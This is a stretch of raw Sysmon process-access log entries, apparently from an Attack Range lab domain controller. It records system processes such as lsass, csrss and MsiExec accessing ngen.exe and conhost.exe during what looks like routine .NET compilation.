14:43:45.897{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D507-00000000F001}6596c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.881{7BD73061-6F21-613B-D607-00000000F001}42245524C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-D507-00000000F001}6596c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.866{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D607-00000000F001}4224C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.866{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D507-00000000F001}6596c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.866{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-D507-00000000F001}6596c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.850{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D307-00000000F001}5332c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.850{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D307-00000000F001}5332c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.835{7BD73061-6F21-613B-D407-00000000F001}51806208C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-D307-00000000F001}5332c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.835{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D407-00000000F001}5180C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.819{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D307-00000000F001}5332c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.819{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-D307-00000000F001}5332c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.819{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D107-00000000F001}3816c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.819{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D107-00000000F001}3816c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.803{7BD73061-6F21-613B-D207-00000000F001}53406920C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-D107-00000000F001}3816c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.788{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D207-00000000F001}5340C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.788{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D107-00000000F001}3816c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.788{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-D107-00000000F001}3816c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.772{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CF07-00000000F001}6884c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.772{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CF07-00000000F001}6884c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.756{7BD73061-6F21-613B-D007-00000000F001}10165168C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-CF07-00000000F001}6884c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.756{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33AF935E924B4D1F8ADFA54D935B0741,SHA256=C2A96B2F5D9E5CA93C853BA5FC5E94E650420D435A6BE1AEA75E42A032F776DB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.741{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D007-00000000F001}1016C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.741{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CF07-00000000F001}6884c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.741{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-CF07-00000000F001}6884c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.725{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CD07-00000000F001}6220c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.725{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CD07-00000000F001}6220c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.710{7BD73061-6F21-613B-CE07-00000000F001}23125584C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-CD07-00000000F001}6220c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.710{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CE07-00000000F001}2312C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.694{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CD07-00000000F001}6220c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.694{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-CD07-00000000F001}6220c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.694{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CB07-00000000F001}7152c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 